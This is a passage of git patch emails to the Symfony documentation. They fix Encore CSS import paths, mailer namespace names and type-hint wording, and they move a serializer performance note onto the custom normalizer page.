 ------------------------------
 

From bdbd7a697ea722e4a5e076b590d52e4472f06521 Mon Sep 17 00:00:00 2001
From: Yoann Chocteau <Yoann-TYT@users.noreply.github.com>
Date: Mon, 9 Nov 2020 09:28:21 +0100
Subject: [PATCH 1457/7107] Update simple-example.rst

Just a little typo, now we use ./styles and not ../css
---
 frontend/encore/simple-example.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/frontend/encore/simple-example.rst b/frontend/encore/simple-example.rst
index 3d38686ce05..d0ed86a5922 100644
--- a/frontend/encore/simple-example.rst
+++ b/frontend/encore/simple-example.rst
@@ -17,7 +17,7 @@ application: it will *require* all of the dependencies it needs (e.g. jQuery or
     // assets/app.js
     // ...
 
-    import '../css/app.css';
+    import './styles/app.css';
 
     // var $ = require('jquery');
 

From 6d51c6c80038ef53d5948837681fd2b46a25c595 Mon Sep 17 00:00:00 2001
From: =?UTF-8?q?Maxime=20H=C3=A9lias?= <maximehelias16@gmail.com>
Date: Sun, 4 Oct 2020 04:06:32 +0200
Subject: [PATCH 1458/7107] [Serializer] move note on Custom Normalizer page
 about cacheable performance

---
 components/serializer.rst        | 26 --------------------------
 serializer/custom_normalizer.rst | 29 +++++++++++++++++++++++++++++
 2 files changed, 29 insertions(+), 26 deletions(-)

diff --git a/components/serializer.rst b/components/serializer.rst
index 345642c9770..515773d18c3 100644
--- a/components/serializer.rst
+++ b/components/serializer.rst
@@ -1499,32 +1499,6 @@ Once configured, the serializer uses the mapping to pick the correct class::
     $repository = $serializer->deserialize($serialized, CodeRepository::class, 'json');
     // instanceof GitHubCodeRepository
 
-Performance
------------
-
-To figure which normalizer (or denormalizer) must be used to handle an object,
-the :class:`Symfony\\Component\\Serializer\\Serializer` class will call the
-:method:`Symfony\\Component\\Serializer\\Normalizer\\NormalizerInterface::supportsNormalization`
-(or :method:`Symfony\\Component\\Serializer\\Normalizer\\DenormalizerInterface::supportsDenormalization`)
-of all registered normalizers (or denormalizers) in a loop.
-
-The result of these methods can vary depending on the object to serialize, the
-format and the context. That's why the result **is not cached** by default and
-can result in a significant performance bottleneck.
-
-However, most normalizers (and denormalizers) always return the same result when
-the object's type and the format are the same, so the result can be cached. To
-do so, make those normalizers (and denormalizers) implement the
-:class:`Symfony\\Component\\Serializer\\Normalizer\\CacheableSupportsMethodInterface`
-and return ``true`` when
-:method:`Symfony\\Component\\Serializer\\Normalizer\\CacheableSupportsMethodInterface::hasCacheableSupportsMethod`
-is called.
-
-.. note::
-
-    All built-in :ref:`normalizers and denormalizers <component-serializer-normalizers>`
-    as well the ones included in `API Platform`_ natively implement this interface.
-
 Learn more
 ----------
 
diff --git a/serializer/custom_normalizer.rst b/serializer/custom_normalizer.rst
index 9f2e50fdcf1..2c7c7eedf88 100644
--- a/serializer/custom_normalizer.rst
+++ b/serializer/custom_normalizer.rst
@@ -60,3 +60,32 @@ Before using this normalizer in a Symfony application it must be registered as
 a service and :doc:`tagged </service_container/tags>` with ``serializer.normalizer``.
 If you're using the :ref:`default services.yaml configuration <service-container-services-load-example>`,
 this is done automatically!
+
+Performance
+-----------
+
+To figure which normalizer (or denormalizer) must be used to handle an object,
+the :class:`Symfony\\Component\\Serializer\\Serializer` class will call the
+:method:`Symfony\\Component\\Serializer\\Normalizer\\NormalizerInterface::supportsNormalization`
+(or :method:`Symfony\\Component\\Serializer\\Normalizer\\DenormalizerInterface::supportsDenormalization`)
+of all registered normalizers (or denormalizers) in a loop.
+
+The result of these methods can vary depending on the object to serialize, the
+format and the context. That's why the result **is not cached** by default and
+can result in a significant performance bottleneck.
+
+However, most normalizers (and denormalizers) always return the same result when
+the object's type and the format are the same, so the result can be cached. To
+do so, make those normalizers (and denormalizers) implement the
+:class:`Symfony\\Component\\Serializer\\Normalizer\\CacheableSupportsMethodInterface`
+and return ``true`` when
+:method:`Symfony\\Component\\Serializer\\Normalizer\\CacheableSupportsMethodInterface::hasCacheableSupportsMethod`
+is called.
+
+.. note::
+
+    All built-in :ref:`normalizers and denormalizers <component-serializer-normalizers>`
+    as well the ones included in `API Platform`_ natively implement this interface.
+
+.. _`API Platform`: https://api-platform.com
+

From cca746686382f80f3a9307915d92669e9c3c6d5e Mon Sep 17 00:00:00 2001
From: Romain Monteil <monteil.romain@gmail.com>
Date: Thu, 5 Nov 2020 15:18:19 +0100
Subject: [PATCH 1459/7107] [Encore] Fix CSS path

---
 frontend/encore/installation.rst   |  2 +-
 frontend/encore/simple-example.rst | 10 +++++-----
 2 files changed, 6 insertions(+), 6 deletions(-)

diff --git a/frontend/encore/installation.rst b/frontend/encore/installation.rst
index 8241dbcd0b2..bbd6469a1c3 100644
--- a/frontend/encore/installation.rst
+++ b/frontend/encore/installation.rst
@@ -143,7 +143,7 @@ Next, open the new ``assets/app.js`` file which contains some JavaScript code
      */
 
     // any CSS you import will output into a single css file (app.css in this case)
-    import '../css/app.css';
+    import './styles/app.css';
 
     // Need jQuery? Install it with "yarn add jquery", then uncomment to import it.
     // import $ from 'jquery';
diff --git a/frontend/encore/simple-example.rst b/frontend/encore/simple-example.rst
index d0ed86a5922..23c215b1105 100644
--- a/frontend/encore/simple-example.rst
+++ b/frontend/encore/simple-example.rst
@@ -19,7 +19,7 @@ application: it will *require* all of the dependencies it needs (e.g. jQuery or
 
     import './styles/app.css';
 
-    // var $ = require('jquery');
+    // import $ from 'jquery';
 
 Encore's job (via Webpack) is simple: to read and follow *all* of the ``require()``
 statements and create one final ``app.js`` (and ``app.css``) that contains *everything*
@@ -204,8 +204,8 @@ To import values, use ``import``:
 .. code-block:: diff
 
     // assets/app.js
-    - require('../css/app.css');
-    + import '../css/app.css';
+    - require('../styles/app.css');
+    + import './styles/app.css';
 
     - var $ = require('jquery');
     + import $ from 'jquery';
@@ -292,8 +292,8 @@ file to ``app.scss`` and update the ``import`` statement:
 .. code-block:: diff
 
     // assets/app.js
-    - import '../css/app.css';
-    + import '../css/app.scss';
+    - import './styles/app.css';
+    + import './styles/app.scss';
 
 Then, tell Encore to enable the Sass pre-processor:
 

From 66491462f0cc583c4b4fab40c7901bd3dcf84d51 Mon Sep 17 00:00:00 2001
From: Greg Suraci <gregory.suraci@smile.fr>
Date: Tue, 10 Nov 2020 08:11:38 +0100
Subject: [PATCH 1460/7107] Remove simple quotes in
 config/routes/annotations.yaml

I find it weird to have both quoted and un-quoted values for `resource:` key in this code block.
I went to an actual project to double check the content of `config/routes/annotations.yaml` provided by the recipe (https://github.com/symfony/recipes/blob/master/doctrine/annotations/1.0/config/routes/annotations.yaml) and found out that both `resource:` are unquoted.

Versions : 4.4, 5.0, 5.1, 5.2

Have a good day ;)
---
 routing.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/routing.rst b/routing.rst
index cfcbeb39b73..5fd4ad30225 100644
--- a/routing.rst
+++ b/routing.rst
@@ -36,7 +36,7 @@ following configuration file:
 
     # config/routes/annotations.yaml
     controllers:
-        resource: '../../src/Controller/'
+        resource: ../../src/Controller/
         type: annotation
 
     kernel:

From 2c0cad0155fe7ec66b5f853388e40d6acb149b22 Mon Sep 17 00:00:00 2001
From: Youssef Benhssaien <youssefbenhssaien@gmail.com>
Date: Wed, 11 Nov 2020 08:34:42 +0100
Subject: [PATCH 1461/7107] Use int type instead integer

Uses the same type hint `int` for all the page

Used in `optimizations` config
---
 reference/configuration/twig.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/reference/configuration/twig.rst b/reference/configuration/twig.rst
index e00d7f63958..055568b1f2e 100644
--- a/reference/configuration/twig.rst
+++ b/reference/configuration/twig.rst
@@ -269,7 +269,7 @@ every ``number_format`` filter call.
 decimals
 ........
 
-**type**: ``integer`` **default**: ``0``
+**type**: ``int`` **default**: ``0``
 
 The number of decimals used to format numeric values when no specific number is
 passed as argument to the ``number_format`` filter.

From beea71cbcbac5af0104886aee217968981bfc1a2 Mon Sep 17 00:00:00 2001
From: Kamil P <pesek.kamil@seznam.cz>
Date: Mon, 9 Nov 2020 09:09:22 +0100
Subject: [PATCH 1462/7107] Update mailer.rst

The registeted namespace is "styles", not "css".
---
 mailer.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/mailer.rst b/mailer.rst
index 025a5c43813..ac83f41fe1e 100644
--- a/mailer.rst
+++ b/mailer.rst
@@ -586,7 +586,7 @@ arguments to the filter:
 
 .. code-block:: html+twig
 
-    {% apply inline_css(source('@css/email.css')) %}
+    {% apply inline_css(source('@styles/email.css')) %}
         <h1>Welcome {{ username }}!</h1>
         {# ... #}
     {% endapply %}

From 2062d4aba76006465689198102bbe69f8d69c68f Mon Sep 17 00:00:00 2001
From: Oskar Stark <oskarstark@googlemail.com>
Date: Thu, 12 Nov 2020 09:58:52 +0100
Subject: [PATCH 1463/7107] Minor: Fix namespace

---
 mailer.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/mailer.rst b/mailer.rst
index ac83f41fe1e..025a5c43813 100644
--- a/mailer.rst
+++ b/mailer.rst
@@ -586,7 +586,7 @@ arguments to the filter:
 
 .. code-block:: html+twig
 
-    {% apply inline_css(source('@styles/email.css')) %}
+    {% apply inline_css(source('@css/email.css')) %}
         <h1>Welcome {{ username }}!</h1>
         {# ... #}
     {% endapply %}

From 71b3d30cbc50f750479a4afce29148cb6f64f90e Mon Sep 17 00:00:00 2001
From: Oskar Stark <oskarstark@googlemail.com>
Date: Thu, 12 Nov 2020 10:00:04 +0100
Subject: [PATCH 1464/7107] Minor: Fix namespace

---
 mailer.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/mailer.rst b/mailer.rst
index a932050c049..dffbd25b3ed 100644
--- a/mailer.rst
+++ b/mailer.rst
@@ -605,7 +605,7 @@ arguments to the filter:
 
 .. code-block:: html+twig
 
-    {% apply inline_css(source('@css/email.css')) %}
+    {% apply inline_css(source('@styles/email.css')) %}
         <h1>Welcome {{ username }}!</h1>
         {# ... #}
     {% endapply %}

From b3ef599517f14edf6be9ec602faa3c97f51512ac Mon Sep 17 00:00:00 2001
From: Youssef Benhssaien <youssefbenhssaien@gmail.com>
Date: Wed, 11 Nov 2020 08:44:53 +0100
Subject: [PATCH 1465/7107] add html extension to snake_case recommendation
 examples

Some readers may inconsciently memorize the syntax `file_name.twig` and ignores the second `recommendation` (declaring two extension `html.twig`), it can happen if someone looks only for `snak_case` keyword without reading whole page.

I suggest to add `html` extension on the first examples to make sure recommendations cannot escape reader.
---
 templates.rst | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/templates.rst b/templates.rst
index f415eaa82e3..1431e0244a9 100644
--- a/templates.rst
+++ b/templates.rst
@@ -118,8 +118,8 @@ Template Naming
 
 Symfony recommends the following for template names:
 
-* Use `snake case`_ for filenames and directories (e.g. ``blog_posts.twig``,
-  ``admin/default_theme/blog/index.twig``, etc.);
+* Use `snake case`_ for filenames and directories (e.g. ``blog_posts.html.twig``,
+  ``admin/default_theme/blog/index.html.twig``, etc.);
 * Define two extensions for filenames (e.g. ``index.html.twig`` or
   ``blog_posts.xml.twig``) being the first extension (``html``, ``xml``, etc.)
   the final format that the template will generate.

From 35474186058890bf32c6fa286425ce6cf1a27225 Mon Sep 17 00:00:00 2001
From: Youssef Benhssaien <youssefbenhssaien@gmail.com>
Date: Wed, 11 Nov 2020 09:23:48 +0100
Subject: [PATCH 1466/7107] Throw Exception if twig variable is not found

An exception of type `Twig\Error\RuntimeError` is thrown when a variable is not found and `strict_variables` is enabled
---
 templates.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/templates.rst b/templates.rst
index 1431e0244a9..67fdf4a07ef 100644
--- a/templates.rst
+++ b/templates.rst
@@ -164,7 +164,7 @@ in the following order:
 #. ``$foo->getBar()`` (object and *getter* method);
 #. ``$foo->isBar()`` (object and *isser* method);
 #. ``$foo->hasBar()`` (object and *hasser* method);
-#. If none of the above exists, use ``null``.
+#. If none of the above exists, use ``null`` or throw a ``Twig\Error\RuntimeError`` exception if ``strict_variables`` config is enabled.
 
 This allows to evolve your application code without having to change the
 template code (you can start with array variables for the application proof of

From 6d1fac84859b31e8de699f2a62c5e75d334ea3c7 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Thu, 12 Nov 2020 10:21:51 +0100
Subject: [PATCH 1467/7107] Tweak

---
 reference/configuration/twig.rst | 2 ++
 templates.rst                    | 4 +++-
 2 files changed, 5 insertions(+), 1 deletion(-)

diff --git a/reference/configuration/twig.rst b/reference/configuration/twig.rst
index 1d11db3e3da..96f596d1db6 100644
--- a/reference/configuration/twig.rst
+++ b/reference/configuration/twig.rst
@@ -382,6 +382,8 @@ the directory defined in the :ref:`default_path option <config-twig-default-path
 
 Read more about :ref:`template directories and namespaces <templates-namespaces>`.
 
+.. _config-twig-strict-variables:
+
 strict_variables
 ~~~~~~~~~~~~~~~~
 
diff --git a/templates.rst b/templates.rst
index 67fdf4a07ef..09314868c2d 100644
--- a/templates.rst
+++ b/templates.rst
@@ -164,7 +164,9 @@ in the following order:
 #. ``$foo->getBar()`` (object and *getter* method);
 #. ``$foo->isBar()`` (object and *isser* method);
 #. ``$foo->hasBar()`` (object and *hasser* method);
-#. If none of the above exists, use ``null`` or throw a ``Twig\Error\RuntimeError`` exception if ``strict_variables`` config is enabled.
+#. If none of the above exists, use ``null`` (or throw a ``Twig\Error\RuntimeError``
+   exception if the :ref:`strict_variables <config-twig-strict-variables>`
+   option is enabled).
 
 This allows to evolve your application code without having to change the
 template code (you can start with array variables for the application proof of

From 1e4a70f50564bb01b5cab5111797f02cc3016ea6 Mon Sep 17 00:00:00 2001
From: Alessio Pierobon <alessio.pierobon@gmail.com>
Date: Wed, 11 Nov 2020 00:07:48 +0100
Subject: [PATCH 1468/7107] Fix a typo on Messenger handler results example

---
 messenger/handler_results.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/messenger/handler_results.rst b/messenger/handler_results.rst
index dc4c1fd0821..2ab36a2b40d 100644
--- a/messenger/handler_results.rst
+++ b/messenger/handler_results.rst
@@ -40,7 +40,7 @@ handler is registered. The ``HandleTrait`` can be used in any class that has a
     namespace App\Action;
 
     use App\Message\ListItemsQuery;
-    use App\MessageHandler\ListItemsQueryResult;
+    use App\MessageHandler\ListItemsResult;
     use Symfony\Component\Messenger\HandleTrait;
     use Symfony\Component\Messenger\MessageBusInterface;
 

From d84c04c25043e92f0aa28b47d1696dcb424254fe Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Thu, 12 Nov 2020 10:26:50 +0100
Subject: [PATCH 1469/7107] Tweak

---
 messenger/handler_results.rst | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/messenger/handler_results.rst b/messenger/handler_results.rst
index 2ab36a2b40d..ee3b09dc99d 100644
--- a/messenger/handler_results.rst
+++ b/messenger/handler_results.rst
@@ -40,7 +40,7 @@ handler is registered. The ``HandleTrait`` can be used in any class that has a
     namespace App\Action;
 
     use App\Message\ListItemsQuery;
-    use App\MessageHandler\ListItemsResult;
+    use App\MessageHandler\ListItemsQueryResult;
     use Symfony\Component\Messenger\HandleTrait;
     use Symfony\Component\Messenger\MessageBusInterface;
 
@@ -62,7 +62,7 @@ handler is registered. The ``HandleTrait`` can be used in any class that has a
         }
 
         // Creating such a method is optional, but allows type-hinting the result
-        private function query(ListItemsQuery $query): ListItemsResult
+        private function query(ListItemsQuery $query): ListItemsQueryResult
         {
             return $this->handle($query);
         }

From fc220753a708416e2f007f9317bae266b0ffee2e Mon Sep 17 00:00:00 2001
From: Youssef Benhssaien <youssefbenhssaien@gmail.com>
Date: Thu, 12 Nov 2020 12:04:48 +0100
Subject: [PATCH 1470/7107] Use integer typehint instead int

---
 reference/configuration/twig.rst | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/reference/configuration/twig.rst b/reference/configuration/twig.rst
index 055568b1f2e..100d168b792 100644
--- a/reference/configuration/twig.rst
+++ b/reference/configuration/twig.rst
@@ -269,7 +269,7 @@ every ``number_format`` filter call.
 decimals
 ........
 
-**type**: ``int`` **default**: ``0``
+**type**: ``integer`` **default**: ``0``
 
 The number of decimals used to format numeric values when no specific number is
 passed as argument to the ``number_format`` filter.
@@ -294,7 +294,7 @@ no specific character is passed as argument to the ``number_format`` filter.
 optimizations
 ~~~~~~~~~~~~~
 
-**type**: ``int`` **default**: ``-1``
+**type**: ``integer`` **default**: ``-1``
 
 Twig includes an extension called ``optimizer`` which is enabled by default in
 Symfony applications. This extension analyzes the templates to optimize them

From 120290daedd1f928c7c78d781d3911f4d754a60f Mon Sep 17 00:00:00 2001
From: Youssef BENHSSAIEN <youssefbenhssaien@gmail.com>
Date: Thu, 12 Nov 2020 14:16:44 +0100
Subject: [PATCH 1471/7107] Replace bool by boolean

---
 reference/configuration/framework.rst            | 4 ++--
 reference/constraints/AtLeastOneOf.rst           | 2 +-
 reference/constraints/Hostname.rst               | 2 +-
 reference/constraints/NotBlank.rst               | 2 +-
 reference/constraints/Traverse.rst               | 2 +-
 reference/forms/types/color.rst                  | 2 +-
 reference/forms/types/options/help_html.rst.inc  | 2 +-
 reference/forms/types/options/label_html.rst.inc | 2 +-
 8 files changed, 9 insertions(+), 9 deletions(-)

diff --git a/reference/configuration/framework.rst b/reference/configuration/framework.rst
index d4058e76c82..c353f73f163 100644
--- a/reference/configuration/framework.rst
+++ b/reference/configuration/framework.rst
@@ -801,7 +801,7 @@ outgoing network interface.
 buffer
 ......
 
-**type**: ``bool`` | ``Closure``
+**type**: ``boolean`` | ``Closure``
 
 Buffering the response means that you can access its content multiple times
 without performing the request again. Buffering is enabled by default when the
@@ -2851,7 +2851,7 @@ Name of the workflow you want to create.
 audit_trail
 """""""""""
 
-**type**: ``bool``
+**type**: ``boolean``
 
 If set to ``true``, the :class:`Symfony\\Component\\Workflow\\EventListener\\AuditTrailListener`
 will be enabled.
diff --git a/reference/constraints/AtLeastOneOf.rst b/reference/constraints/AtLeastOneOf.rst
index 6a48c44a4fd..b69894184d6 100644
--- a/reference/constraints/AtLeastOneOf.rst
+++ b/reference/constraints/AtLeastOneOf.rst
@@ -163,7 +163,7 @@ has to be satisfied in order for the validation to succeed.
 includeInternalMessages
 ~~~~~~~~~~~~~~~~~~~~~~~
 
-**type**: ``bool`` **default**: ``true``
+**type**: ``boolean`` **default**: ``true``
 
 If set to ``true``, the message that is shown if the validation fails,
 will include the list of messages for the internal constraints. See option
diff --git a/reference/constraints/Hostname.rst b/reference/constraints/Hostname.rst
index 4cbe606ccb4..a08425f5fa2 100644
--- a/reference/constraints/Hostname.rst
+++ b/reference/constraints/Hostname.rst
@@ -117,7 +117,7 @@ Parameter        Description
 ``requireTld``
 ~~~~~~~~~~~~~~
 
-**type**: ``bool`` **default**: ``true``
+**type**: ``boolean`` **default**: ``true``
 
 By default, hostnames are considered valid only when they are fully qualified
 and include their TLDs (top-level domain names). For instance, ``example.com``
diff --git a/reference/constraints/NotBlank.rst b/reference/constraints/NotBlank.rst
index c3c16f21eae..a87b8696824 100644
--- a/reference/constraints/NotBlank.rst
+++ b/reference/constraints/NotBlank.rst
@@ -85,7 +85,7 @@ Options
 allowNull
 ~~~~~~~~~
 
-**type**: ``bool`` **default**: ``false``
+**type**: ``boolean`` **default**: ``false``
 
 If set to ``true``, ``null`` values are considered valid and won't trigger a
 constraint violation.
diff --git a/reference/constraints/Traverse.rst b/reference/constraints/Traverse.rst
index 852f17cdd01..aea7e051ee1 100644
--- a/reference/constraints/Traverse.rst
+++ b/reference/constraints/Traverse.rst
@@ -146,7 +146,7 @@ The ``groups`` option is not available for this constraint.
 ``traverse``
 ~~~~~~~~~~~~
 
-**type**: ``bool`` **default**: ``true``
+**type**: ``boolean`` **default**: ``true``
 
 Instances of ``\Traversable`` are traversed by default, use this option to
 disable validating:
diff --git a/reference/forms/types/color.rst b/reference/forms/types/color.rst
index a290b31e673..5dfd61915ce 100644
--- a/reference/forms/types/color.rst
+++ b/reference/forms/types/color.rst
@@ -49,7 +49,7 @@ Field Options
 html5
 ~~~~~
 
-**type**: ``bool`` **default**: ``false``
+**type**: ``boolean`` **default**: ``false``
 
 .. versionadded:: 5.1
 
diff --git a/reference/forms/types/options/help_html.rst.inc b/reference/forms/types/options/help_html.rst.inc
index 83bbe583ca6..2a5dccfb32e 100644
--- a/reference/forms/types/options/help_html.rst.inc
+++ b/reference/forms/types/options/help_html.rst.inc
@@ -1,7 +1,7 @@
 help_html
 ~~~~~~~~~
 
-**type**: ``bool`` **default**: ``false``
+**type**: ``boolean`` **default**: ``false``
 
 By default, the contents of the ``help`` option are escaped before rendering
 them in the template. Set this option to ``true`` to not escape them, which is
diff --git a/reference/forms/types/options/label_html.rst.inc b/reference/forms/types/options/label_html.rst.inc
index 06568ed08f4..a87ad4ab6db 100644
--- a/reference/forms/types/options/label_html.rst.inc
+++ b/reference/forms/types/options/label_html.rst.inc
@@ -1,7 +1,7 @@
 ``label_html``
 ~~~~~~~~~~~~~~
 
-**type**: ``bool`` **default**: ``false``
+**type**: ``boolean`` **default**: ``false``
 
 .. versionadded:: 5.1
 

From df7682967fc887e516779ea015b4787728f69d6e Mon Sep 17 00:00:00 2001
From: Youssef Benhssaien <youssefbenhssaien@gmail.com>
Date: Wed, 11 Nov 2020 08:34:42 +0100
Subject: [PATCH 1472/7107] Use integer type instead of int & boolean instead
 of bool

---
 reference/configuration/framework.rst            | 4 ++--
 reference/configuration/twig.rst                 | 2 +-
 reference/constraints/AtLeastOneOf.rst           | 2 +-
 reference/constraints/Hostname.rst               | 2 +-
 reference/constraints/NotBlank.rst               | 2 +-
 reference/constraints/Traverse.rst               | 2 +-
 reference/forms/types/color.rst                  | 2 +-
 reference/forms/types/options/help_html.rst.inc  | 2 +-
 reference/forms/types/options/label_html.rst.inc | 2 +-
 9 files changed, 10 insertions(+), 10 deletions(-)

diff --git a/reference/configuration/framework.rst b/reference/configuration/framework.rst
index d4058e76c82..c353f73f163 100644
--- a/reference/configuration/framework.rst
+++ b/reference/configuration/framework.rst
@@ -801,7 +801,7 @@ outgoing network interface.
 buffer
 ......
 
-**type**: ``bool`` | ``Closure``
+**type**: ``boolean`` | ``Closure``
 
 Buffering the response means that you can access its content multiple times
 without performing the request again. Buffering is enabled by default when the
@@ -2851,7 +2851,7 @@ Name of the workflow you want to create.
 audit_trail
 """""""""""
 
-**type**: ``bool``
+**type**: ``boolean``
 
 If set to ``true``, the :class:`Symfony\\Component\\Workflow\\EventListener\\AuditTrailListener`
 will be enabled.
diff --git a/reference/configuration/twig.rst b/reference/configuration/twig.rst
index e00d7f63958..100d168b792 100644
--- a/reference/configuration/twig.rst
+++ b/reference/configuration/twig.rst
@@ -294,7 +294,7 @@ no specific character is passed as argument to the ``number_format`` filter.
 optimizations
 ~~~~~~~~~~~~~
 
-**type**: ``int`` **default**: ``-1``
+**type**: ``integer`` **default**: ``-1``
 
 Twig includes an extension called ``optimizer`` which is enabled by default in
 Symfony applications. This extension analyzes the templates to optimize them
diff --git a/reference/constraints/AtLeastOneOf.rst b/reference/constraints/AtLeastOneOf.rst
index 6a48c44a4fd..b69894184d6 100644
--- a/reference/constraints/AtLeastOneOf.rst
+++ b/reference/constraints/AtLeastOneOf.rst
@@ -163,7 +163,7 @@ has to be satisfied in order for the validation to succeed.
 includeInternalMessages
 ~~~~~~~~~~~~~~~~~~~~~~~
 
-**type**: ``bool`` **default**: ``true``
+**type**: ``boolean`` **default**: ``true``
 
 If set to ``true``, the message that is shown if the validation fails,
 will include the list of messages for the internal constraints. See option
diff --git a/reference/constraints/Hostname.rst b/reference/constraints/Hostname.rst
index 4cbe606ccb4..a08425f5fa2 100644
--- a/reference/constraints/Hostname.rst
+++ b/reference/constraints/Hostname.rst
@@ -117,7 +117,7 @@ Parameter        Description
 ``requireTld``
 ~~~~~~~~~~~~~~
 
-**type**: ``bool`` **default**: ``true``
+**type**: ``boolean`` **default**: ``true``
 
 By default, hostnames are considered valid only when they are fully qualified
 and include their TLDs (top-level domain names). For instance, ``example.com``
diff --git a/reference/constraints/NotBlank.rst b/reference/constraints/NotBlank.rst
index c3c16f21eae..a87b8696824 100644
--- a/reference/constraints/NotBlank.rst
+++ b/reference/constraints/NotBlank.rst
@@ -85,7 +85,7 @@ Options
 allowNull
 ~~~~~~~~~
 
-**type**: ``bool`` **default**: ``false``
+**type**: ``boolean`` **default**: ``false``
 
 If set to ``true``, ``null`` values are considered valid and won't trigger a
 constraint violation.
diff --git a/reference/constraints/Traverse.rst b/reference/constraints/Traverse.rst
index 852f17cdd01..aea7e051ee1 100644
--- a/reference/constraints/Traverse.rst
+++ b/reference/constraints/Traverse.rst
@@ -146,7 +146,7 @@ The ``groups`` option is not available for this constraint.
 ``traverse``
 ~~~~~~~~~~~~
 
-**type**: ``bool`` **default**: ``true``
+**type**: ``boolean`` **default**: ``true``
 
 Instances of ``\Traversable`` are traversed by default, use this option to
 disable validating:
diff --git a/reference/forms/types/color.rst b/reference/forms/types/color.rst
index a290b31e673..5dfd61915ce 100644
--- a/reference/forms/types/color.rst
+++ b/reference/forms/types/color.rst
@@ -49,7 +49,7 @@ Field Options
 html5
 ~~~~~
 
-**type**: ``bool`` **default**: ``false``
+**type**: ``boolean`` **default**: ``false``
 
 .. versionadded:: 5.1
 
diff --git a/reference/forms/types/options/help_html.rst.inc b/reference/forms/types/options/help_html.rst.inc
index 83bbe583ca6..2a5dccfb32e 100644
--- a/reference/forms/types/options/help_html.rst.inc
+++ b/reference/forms/types/options/help_html.rst.inc
@@ -1,7 +1,7 @@
 help_html
 ~~~~~~~~~
 
-**type**: ``bool`` **default**: ``false``
+**type**: ``boolean`` **default**: ``false``
 
 By default, the contents of the ``help`` option are escaped before rendering
 them in the template. Set this option to ``true`` to not escape them, which is
diff --git a/reference/forms/types/options/label_html.rst.inc b/reference/forms/types/options/label_html.rst.inc
index 06568ed08f4..a87ad4ab6db 100644
--- a/reference/forms/types/options/label_html.rst.inc
+++ b/reference/forms/types/options/label_html.rst.inc
@@ -1,7 +1,7 @@
 ``label_html``
 ~~~~~~~~~~~~~~
 
-**type**: ``bool`` **default**: ``false``
+**type**: ``boolean`` **default**: ``false``
 
 .. versionadded:: 5.1
 

From da74408ae32e30e55f527915feb48bec6b5bd724 Mon Sep 17 00:00:00 2001
From: Oskar Stark <oskarstark@googlemail.com>
Date: Thu, 12 Nov 2020 14:37:29 +0100
Subject: [PATCH 1473/7107] Minor

---
 reference/configuration/framework.rst           | 4 ++--
 reference/configuration/twig.rst                | 2 +-
 reference/constraints/NotBlank.rst              | 2 +-
 reference/constraints/Traverse.rst              | 2 +-
 reference/forms/types/options/help_html.rst.inc | 2 +-
 reference/forms/types/timezone.rst              | 2 +-
 6 files changed, 7 insertions(+), 7 deletions(-)

diff --git a/reference/configuration/framework.rst b/reference/configuration/framework.rst
index f388b5c9eb5..cd76b908c64 100644
--- a/reference/configuration/framework.rst
+++ b/reference/configuration/framework.rst
@@ -829,7 +829,7 @@ outgoing network interface.
 buffer
 ......
 
-**type**: ``bool`` | ``Closure``
+**type**: ``boolean`` | ``Closure``
 
 Buffering the response means that you can access its content multiple times
 without performing the request again. Buffering is enabled by default when the
@@ -2960,7 +2960,7 @@ Name of the workflow you want to create.
 audit_trail
 """""""""""
 
-**type**: ``bool``
+**type**: ``boolean``
 
 If set to ``true``, the :class:`Symfony\\Component\\Workflow\\EventListener\\AuditTrailListener`
 will be enabled.
diff --git a/reference/configuration/twig.rst b/reference/configuration/twig.rst
index 96f596d1db6..5fc8b95313c 100644
--- a/reference/configuration/twig.rst
+++ b/reference/configuration/twig.rst
@@ -318,7 +318,7 @@ no specific character is passed as argument to the ``number_format`` filter.
 optimizations
 ~~~~~~~~~~~~~
 
-**type**: ``int`` **default**: ``-1``
+**type**: ``integer`` **default**: ``-1``
 
 Twig includes an extension called ``optimizer`` which is enabled by default in
 Symfony applications. This extension analyzes the templates to optimize them
diff --git a/reference/constraints/NotBlank.rst b/reference/constraints/NotBlank.rst
index 19ac9542ec9..342293b2394 100644
--- a/reference/constraints/NotBlank.rst
+++ b/reference/constraints/NotBlank.rst
@@ -85,7 +85,7 @@ Options
 allowNull
 ~~~~~~~~~
 
-**type**: ``bool`` **default**: ``false``
+**type**: ``boolean`` **default**: ``false``
 
 If set to ``true``, ``null`` values are considered valid and won't trigger a
 constraint violation.
diff --git a/reference/constraints/Traverse.rst b/reference/constraints/Traverse.rst
index 852f17cdd01..aea7e051ee1 100644
--- a/reference/constraints/Traverse.rst
+++ b/reference/constraints/Traverse.rst
@@ -146,7 +146,7 @@ The ``groups`` option is not available for this constraint.
 ``traverse``
 ~~~~~~~~~~~~
 
-**type**: ``bool`` **default**: ``true``
+**type**: ``boolean`` **default**: ``true``
 
 Instances of ``\Traversable`` are traversed by default, use this option to
 disable validating:
diff --git a/reference/forms/types/options/help_html.rst.inc b/reference/forms/types/options/help_html.rst.inc
index 83bbe583ca6..2a5dccfb32e 100644
--- a/reference/forms/types/options/help_html.rst.inc
+++ b/reference/forms/types/options/help_html.rst.inc
@@ -1,7 +1,7 @@
 help_html
 ~~~~~~~~~
 
-**type**: ``bool`` **default**: ``false``
+**type**: ``boolean`` **default**: ``false``
 
 By default, the contents of the ``help`` option are escaped before rendering
 them in the template. Set this option to ``true`` to not escape them, which is
diff --git a/reference/forms/types/timezone.rst b/reference/forms/types/timezone.rst
index 1cdba0d5d78..9458e3a7d1a 100644
--- a/reference/forms/types/timezone.rst
+++ b/reference/forms/types/timezone.rst
@@ -101,7 +101,7 @@ with the ``choice_translation_locale`` option.
